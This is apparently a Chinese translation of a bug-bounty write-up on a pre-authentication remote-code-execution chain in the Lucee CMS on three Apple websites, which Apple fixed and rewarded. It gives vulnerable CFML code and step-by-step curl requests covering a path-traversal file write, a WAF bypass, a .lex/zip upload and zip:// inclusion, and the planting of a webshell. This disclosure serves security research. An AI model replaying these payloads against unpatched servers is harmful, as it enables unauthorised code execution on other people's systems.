本文中,国外安全研究员@rootxharsh 和 @iamnoooob通过对苹果(Apple)公司网站的分析,发现了其中三个苹果公司网站部署中用到了基于开源程序Lucee的CMS应用,经过对Lucee的安全测试,@rootxharsh 和 @iamnoooob发现了其中存在的0day漏洞,通过构造利用,可以实现对三个苹果公司网站的远程代码执行(RCE),漏洞最终收获了苹果(Apple)公司$50,000的奖励。
开始之前
在看了Sam发布的一系列针对苹果公司网站的漏洞测试报告之后,我们也着手准备测试,我们把测试重点放在苹果公司网站个人信息(PII)泄露和内部网络架构曝露方面,这应该也是苹果公司比较关注的漏洞。
前期侦测
经过一系列的WEB应用识别和探测,我们发现苹果公司有三个网站上运行的CMS(内容管理系统)都是基于开源程序Lucee开发的。由于其中涉及的CMS和Lucee都是可以开源获取的,因此,可以轻松搭建本地环境进行测试,所以这三个网站看似值得深入探究。从漏洞历史来看,Lucee披露过一些公开漏洞且还具备一个管理员登录面板,另外,Lucee的另外一个相似的分支语言 Railo 曾被知名白帽Orange Tsai曝出大洞。
经测试,这三个网站中的Lucee管理员登录面板都可以访问,其中有一个版本较近,两个版本稍老。
https://facilities.apple.com/ (Recent version)
https://booktravel.apple.com/ (Older version)
https://booktravel-uat.apple.com/ (Older version)
苹果公司网站的WAF设置
从部署新版本Lucee的网站facilities.apple.com开始,为了能进一步进行漏洞挖掘,我们需要了解苹果公司网站的WAF设置,而且,尤为重要的是,需要了解facilities.apple.com网站前端与后端的通信交互时的WAF规则触发。
苹果公司网站的WAF设置规则非常头痛,它几乎会对拦截掉所有的URL路径遍历和SQL注入尝试。网站facilities.apple.com上的前端服务(反向代理服务)配置了大多只返显后端响应代码200或404,即使后端服务器被请求了其它的响应代码,但在前端上依然只会返显403,这与其WAF触发规则一致。
Lucee的不当配置问题
我们在本地搭建了一个Lucee/CMS测试环境,偶然发现了其中存在的一个配置不当问题,攻击者利用该问题可以直接访问到受保护的ColdFusion标记语言文件(CFM),由此可以实现一些未授权操作。
在连接CFM文件时,一旦遇到其中的request.admintype变量,由于我们不是管理员身份,执行进程会立即停止。为此,我们尝试测试变量request.admintype之前的操作,看会否会存在漏洞。最终,我们利用以下三个文件,在Lucee安装环境中发现了一个预授权/未授权远程代码执行漏洞(RCE):
imgProcess.cfm (稍旧版本中没有)
admin.search.index.cfm
ext.applications.upload.cfm
失败尝试
imgProcess.cfm文件中的远程代码执行漏洞(RCE)
为了模拟苹果网站中的运行环境,我们在本地安装了相同版本的Lucee。之后,在打开imgProcess.cfm文件时,苹果网站服务端抛出了403 Forbidden的响应,这也就是说,该文件是存在的,只不过被禁止访问而已。经过一番测试后我们才发现,这里需要指定正确的参数,否则就会导致服务端抛出403。如下错误参数:
正确参数:
经过分析,我们发现imgProcess.cfm文件中存在一个路径遍历漏洞,可以利用该漏洞以给定内容在服务器任意位置创建文件:
<cfoutput> <cffile action="write" file="#expandPath('{temp-directory}/admin-ext-thumbnails/')#\__#url.file#" Output="#form.imgSrc#" createPath="true"> </cfoutput>
在文件创建过程中,会请求file参数,并利用命令{temp-directory}/admin-ext-thumbnails/__{our-input}生成文件,其中的our-input内容可通过上述带参imgSrc的POST请求来定义。
从以上代码__#url.file中可以看到,在对Linux系统的路径或文件遍历前,需要之前的目录(这里即__目录)是存在的,好在expandPath方法会创建__目录路径并以字符串形式返回。所以,上述方法函数在传递文件file=/../../../context/pwn.cfm的同时,就会创建__目录,可以对网站webroot根目录进行遍历,就形成了一个简单的RCE漏洞通道。
然而,即使有了这个RCE,但由于有WAF规则对请求参数中的../进行拦截,所以我们也不能直接形成漏洞利用。该功能中,imgProcess.cfm文件会以url.file和form.imgSrc为参数去调用创建文件,如果这两个参数都是形式化或POST请求的带参,那么就有可能不会触发WAF规则。这样的话,我们就能使用上述imgProcess.cfm文件RCE方法,在服务器中任意位置创建任意名称和内容的文件,而不触发WAF规则。
如何真正绕过WAF
在另一个文件admin.search.index.cfm,其功能是指定一个目录并把其中的文件内容拷贝到给定的其它目录中去。但是,我们发现其中的拷贝方法非常麻烦,它实际上并不会拷贝文件内容,也不会保留文件扩展名。该功能用到了两个参数:
dataDir
luceeArchiveZipPath
dataDir是需要给定的拷贝目的目录位置路径,它由调用参数luceeArchiveZipPath来实现。如果指定的目录位置路径不存在,就会新创建一个。这是一个创建绝对路径的方法,如下:
<cfif not directoryExists(dataDir)> <cfdirectory action="create" directory="#dataDir#" mode="777" recurse="true" /> </cfif>
其文件创建的样例请求如下:
GET /lucee/admin/admin.search.index.cfm?dataDir=/copy/to/path/here/&LUCEEARCHIVEZIPPATH=/copy/from/path/here HTTP/1.1 Host: facilities.apple.com User-Agent: Mozilla/5.0 Connection: close
由于该拷贝功能并不是标准的copy方法,因此,必须得深入研究一下其中的相关代码意图。之后,我们发现了一个有意思的ColdFusion标记语言(CFML)标签:
<cfdirectory action=”list” directory=”#luceeArchiveZipPath#” filter=”*.*.cfm” name=”qFiles” sort=”name” />
该条标记语言的大概意思是,它会列出luceeArchiveZipPath目录下的文件,其中的filter属性会过滤出*.*.cfm文件,并把最终结果存储在变量”qFiles” 中。接着,它会迭代变量currFile中的所有文件,并把其中带’.cfm’后缀的文件去除cfm后缀,然后把去除后缀的文件名存储在currAction变量中。比如,test.xyz.cfm会变成为test.xyz。
<cfset currAction = replace(qFiles.name, ‘.cfm’, ”) />
然后,代码流程会检查在dataDir目录中诸如 ‘test.xyz.en.txt’ 或 ‘test.xyz.de.txt’名称的文件,这里,dataDir变量是用户控制的。如果dataDir目录下确实存在如 ‘test.xyz.en.txt’ 或 ‘test.xyz.de.txt’名称的文件,则它就会把其中的 (‘.’) 替换为空白符,并把名称结果存储到pageContents.lng.currAction变量中。代码逻辑如下:
<cfif fileExists('#dataDir##currAction#.#lng#.txt')> <cfset pageContents[lng][currAction] = fileRead('#dataDir##currAction#.#lng#.txt', 'utf-8') /> <cfelse> <!--- make sure we will also find this page when searching for the file name---> <cfset pageContents[lng][currAction] = "#replace(currAction, '.', ' ')# " /> </cfif>
之后,如test.xyz.<lang>.txt文件中的内容即是变量pageContents.lng.currAction的值。然而,即使我们可以在服务器中任意位置创建任意内容(如.txt)的文件,但是,之后的测试证明,我们可以在其文件名上做点手脚,形成漏洞利用。之后,代码流程会存储data变量中的currFile文件内容,过滤出不符合正则表达式[””##]stText\..+?[””##]的文件,并把结果存入finds数组中。
<cfset data = fileread(currFile) /> <cfset finds = rematchNoCase('[''"##]stText\..+?[''"##]', data) />
接着,代码会对finds数组进行循环,检查其中每一项是否会存在结构化键值key,如果不存在,则会自己创建一个结构化键值key,并存储到searchresults变量中。
<cfloop array="#finds#" index="str"> <cfset str = rereplace(listRest(str, '.'), '.$', '') /> [..snip..] <cfif structKeyExists(translations.en, str)> <cfif not structKeyExists(searchresults[str], currAction)> <cfset searchresults[str][currAction] = 1 /> <cfelse> <cfset searchresults[str][currAction]++ /> </cfif> </cfif> </cfloop>
最终,所有键值或searchresults变量内容会被再次转存到dataDir目录中一个名为”searchindex.cfm”的文件中,内容为JSON格式。
<cffile action=”write” file=”#dataDir#searchindex.cfm” charset=”utf-8″ output=”#serialize(searchresults)#” mode=”644″ />
facilities.apple.com网站中的远程代码执行漏洞(RCE)
至此,我们综合利用imgProcess.cfm 和 admin.search.index.cfm文件,在苹果网站https://facilities.apple.com是构造形成了一个RCE漏洞。另外,我们可以控制一个拷贝源目录(dataDir参数)和一个拷贝目的目录(luceeArchiveZipPath参数)。现在,如果我们在服务器任意位置创建一个名为server.<cffile action=write file=#Url[‘f’]# output=#Url[‘content’]#>.cfm的文件,其内容为”#stText.x.f#”。
那么,我们也就可以通过luceeArchiveZipPath参数把其文件路径传递到admin.search.index.cfm文件中。但由于文件server.<cffile action=write file=#Url[‘f’]# output=#Url[‘content’]#>.cfm的结构化文件名键值key是不存在的,代码就会自动创建一个并把key写入到名为searchindex.cfm的文件中。那也就是说,之后,我们就可以在dataDir参数帮助下,通过在服务器任意位置目录下,实现对searchindex.cfm file文件中的CFML标签(类似PHP标签)的控制,那也即,我们就可能通过控制网站服务器的根目录webroot来执行任意代码了!
我们先用imgProcess.cfm在目标网站文件系统中创建一个名为server.<cffile action=write file=#Url[‘f’]# output=#Url[‘content’]#>.cfm的文件,其内容符合正则表达式[””##]stText\..+?[””##]。该操作由于不是执行路径遍历,因此不会触发WAF拦截规则。
获得网站代码执行Shell
1、创建文件名为server.<cffile action=write file=#Url[‘f’]# output=#Url[‘content’]#>.cfm且内容匹配正则表达式”#stText.x.f#”的文件,由于网站后端tomcat会拦截某些字符,因此把其文件名进行URL编码,最终成型的POST请求如下:
curl -X POST ‘https://facilities.apple.com/lucee/admin/imgProcess.cfm?file=%2F%73%65%72%76%65%72%2e%3c%63%66%66%69%6c%65%20%61%63%74%69%6f%6e%3d%77%72%69%74%65%20%66%69%6c%65%3d%23%55%72%6c%5b%27%66%27%5d%23%20%6f%75%74%70%75%74%3d%23%55%72%6c%5b%27%63%6f%6e%74%65%6e%74%27%5d%23%3e%2e%63%66%6d’ –data ‘imgSrc=”#stText.Buttons.save#”‘
2、拷贝其文件名为代码执行做准备:
curl ‘http://facilities.apple.com/lucee/admin/admin.search.index.cfm?dataDir=/full/path/lucee/context/rootxharsh/&LUCEEARCHIVEZIPPATH=/full/path/lucee/temp/admin-ext-thumbnails/__/’
3、写入Shell代码以备后续触发代码执行操作:
curl https://facilities.apple.com/lucee/rootxharsh/searchindex.cfm?f=PoC.cfm&content=cfm_shell
4、访问webshell-https://facilities.apple.com/lucee/rootxharsh/PoC.cfm,成功!:
另两个网站的RCE漏洞
现在,网站facilities.apple.com的RCE已经实现,但由于在旧版本Lucee中没有imgProcess.cfm文件,所以我们需要发现其它可以可以触发RCE的漏洞通道。果然,最终我们发现了一个有意思的方式。
未授权的.lex格式文件上传
经分析发现,文件ext.applications.upload.cfm可以实现部份未授权操作,其代码片段非常简单,需要把extfile形式参数的文件名扩展格式设置为 .lex,否则,就会抛出运行异常。
<cfif not structKeyExists(form, "extfile") or form.extfile eq ""> ... </cfif> <!--- try to upload (.zip and .re) ---> <cftry> <cffile action="upload" filefield="extfile" destination="#GetTempDirectory()#" nameconflict="makeunique" /> <cfif cffile.serverfileext neq "lex"> <cfthrow message="Only .lex is allowed as extension!" /> </cfif> <cfcatch> ... </cfcatch> </cftry> <cfset zipfile = "#rereplace(cffile.serverdirectory, '[/\\]$', '')##server.separator.file##cffile.serverfile#" />
其对.lex格式文件的后续处理为:
<cfif cffile.serverfileext eq "lex"> ... type="#request.adminType#" ... </cfif>
由于我们未对request.admintype做过先前设置,因此,这里抛出运行异常。然而,在该步之前,我们的文件却仍然被成功上传了,可以从以下截图发现:
本来一个.lex格式文件也没什么,但这里的情况是,lex文件可以是zip压缩格式,是目标网站中我们可以成功上传的Lucee形式文件, 而且没有任何内容安全过滤限制,那我们就可以任意上传了。
漏洞利用
经过对Lucee的测试,我们了解它支持zip://, file:// 等协议形式,也即这里我们可在可控的luceeArchiveZipPath变量中指定这些协议形式,进行深入利用。重点是,我们可以用文件ext.applications.upload.cfm创建具备.lex扩展名后缀的文件,该文件内容匹配正则表达式”#stText.x.f#” ,且文件名为server.<cffile action=write file=#Url[‘f’]# output=#Url[‘content’]#>.cfm。一旦我们的zip压缩格式文件创建在了网站服务器中,那么就能利用luceeArchiveZipPath变量中的zip://协议去请求其中包含*.*.cfm文件的ZIP格式存档了。
在另外两个网站服务端中实现RCE Shell
1、创建一个内容匹配”#stText.x.f#” ,且名为server.<cffile action=write file=#Url[‘f’]# output=#Url[‘content’]#>.cfm的文件,把它zip打包为payload.lex。
2、把payload.lex通过ext.applications.upload.cfm文件中的上传功能进行上传:
curl -vv -F [email protected] https://booktravel.apple.com/lucee/admin/ext.applications.upload.cfm
3、我们可以用zip://形式请求其中上传的payload.lex:
curl https://booktravel.apple.com/lucee/admin/admin.search.index.cfm?dataDir=/full/path/lucee/web/context/exploit/&luceeArchiveZipPath=zip:///full/path/lucee/web/temp/payload.lex
4、之后,我们的目标文件server.<cffile action=write file=#Url[‘f’]# output=#Url[‘content’]#>.cfm就会被以文本方式添加到位于网站根目录<lucee web>/context/exploit/下的searchindex.cfm文件中,即可实现对https://booktravel.apple.com/<lucee root>/exploit/searchindex.cfm
的请求;
5、然后,请求 https://booktravel.apple.com/lucee/exploit/searchindex.cfm?f=test.cfm&output=cfml_shell实现Shell代码写入;
6、最终形成了一个有效的Webshell-https://booktravel.apple.com/lucee/exploit/test.cfm?cmd=id,由于苹果网站中部署了很多负载均衡应用,因此,我们得通过Burp的intruder模块去反复测试触发我们的Shell:
总结
苹果公司最终接收并修复了该漏洞,且要求我们在漏洞修复前不得披露该漏洞,最终我们收获了苹果公司$50,000的漏洞奖励。另外,我们也积极和Lucee官方联系,并通过限制对cfm文件的直接访问修复了其中存在的漏洞,这里应该会有一个CVE编号分配。
参考来源:github
来源:freebuf.com 2021-01-27 20:50:12 by: clouds
请登录后发表评论
注册